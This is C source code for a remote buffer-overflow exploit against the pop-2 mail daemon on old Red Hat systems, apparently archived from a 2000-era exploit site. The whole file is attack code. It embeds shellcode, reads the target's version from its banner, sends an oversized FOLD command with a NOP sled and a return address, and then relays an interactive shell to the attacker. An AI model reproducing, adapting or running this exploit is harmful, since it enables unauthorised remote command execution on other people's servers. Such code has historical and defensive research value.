/* * A pop-2 remote exploit that gives a nobody shell. * gcc pop.c -o pop -O3 -Wall * Autodetects what version you're sploiting and adjusts ret position and * offset accordingly. * Tested on redhat 5.2, 5.1, 5.0 and 4.2. Probably only really useful * using it on 5.2 tho, cos the rest will most likely have imap open too. * NB: To exploit pop-2 you have to take into account the length of both * the hostname and username(unlike all the pop2 exploits out there). * - smiler */ #include #include #include #include #include #include #include #include #include #include unsigned char hellcode[]= "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01" "\x20\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89" "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0" "\xfe\xc0\xcd\x80\xe8\xcf\xff\xff\xff\x0f\x42\x49\x4e\x0f" "\x53\x48"; struct type { char *text; int offset; int alignment; }; struct type types[]= { {"4.46",0,0}, {"3.35",0,19}, {"3.44",0,19}, {"2.3(30)",0,19}, {NULL,0,0} }; int pop2_type = 0; #define RET 0xbffff5b1 void usage(char *prog); int resolv(char *hname, struct in_addr *addr); int send_oberflow(int fd, char *host, char *user, int offset); void run_shell(int fd); int set_pop_type(char *buf, int n); int do_connect(struct sockaddr_in *serv); char temp_pass[20], *password; int main(int argc, char **argv) { int fd,n; unsigned char buf[2048]; struct sockaddr_in servaddr; if (argc < 5) usage(argv[0]); password = strdup(argv[3]); bzero(argv[3],strlen(argv[3])); /* Mask the password from the cmdline =) */ bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(109); if (!resolv(argv[4],&servaddr.sin_addr)) { herror("resolv"); exit(-1); } fd = do_connect(&servaddr); if ((n = recv(fd, buf, 1024, 0)) <= 0) { perror("recv"); return -1; } /* Get the banner */ write(STDOUT_FILENO, buf, n); set_pop_type(buf,n); printf("Pop type = %d\n",pop2_type); /* HELO localhost:dave password */ sprintf(buf, "HELO %s:%s %s\r\n",argv[1],argv[2],password); send(fd, buf, strlen(buf), 0); printf("Sleeping\n"); sleep(3); n = recv(fd, buf, sizeof(buf), 0); send_oberflow(fd, argv[1], argv[2], argv[4]?atoi(argv[4]):0); // recv(fd, buf, sizeof(buf), 0); run_shell(fd); return 0; } void run_shell(int fd) { int n; char recvbuf[1024]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fd, &rset); FD_SET(STDIN_FILENO, &rset); select(fd+1,&rset,NULL,NULL,NULL); if (FD_ISSET(fd, &rset)) { n = recv(fd, recvbuf, 1024,0); if (n <= 0) { fprintf(stderr,"Connection closed\n"); return; } write(STDOUT_FILENO, recvbuf, n); } if (FD_ISSET(STDIN_FILENO, &rset)) { n = read(STDIN_FILENO, recvbuf, 1024); if (n <= 0) return; send(fd, recvbuf, n, 0); } } return; } int send_oberflow(int fd, char *host, char *user, int offset) { unsigned char buf[1050]; int ret,ctr,a = 0; ret = 1016 - strlen(host) - strlen(user); ret -= types[pop2_type].alignment; memset(buf,0x90,sizeof(buf)); memcpy(buf,"FOLD ",5); for (ctr = ret - strlen(hellcode);ctr < ret; ctr++) buf[ctr] = hellcode[a++]; *(unsigned long *)(buf + ret) = RET + offset + types[pop2_type].offset; strcpy(buf + ret + 4,"\r\n"); send(fd, buf, strlen(buf), 0); return 1; } int do_connect(struct sockaddr_in *serv) { int fd; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd < 0) { perror("socket"); exit(-1); } if (connect(fd, (struct sockaddr *)serv, 16) < 0) { perror("connect"); exit(-1); } return fd; } int set_pop_type(char *buf, int n) { int ctr = 0; buf[n] = 0; while(types[ctr].text) { if (strstr(buf,types[ctr].text)) { pop2_type = ctr; return 1; } ctr++; } pop2_type = 0; return pop2_type; } int resolv(char *hname, struct in_addr *addr) { struct hostent *res; if (inet_aton(hname,addr)) return 1; res = gethostbyname(hname); if (res == NULL) return 0; memcpy((char *)addr,(char *)res->h_addr, sizeof(struct in_addr)); return 1; } void usage(char *prog) { fprintf(stderr,"Usage: %s "\ " [offset]\n",prog); exit(-1); } /* www.hack.co.za [2000]*/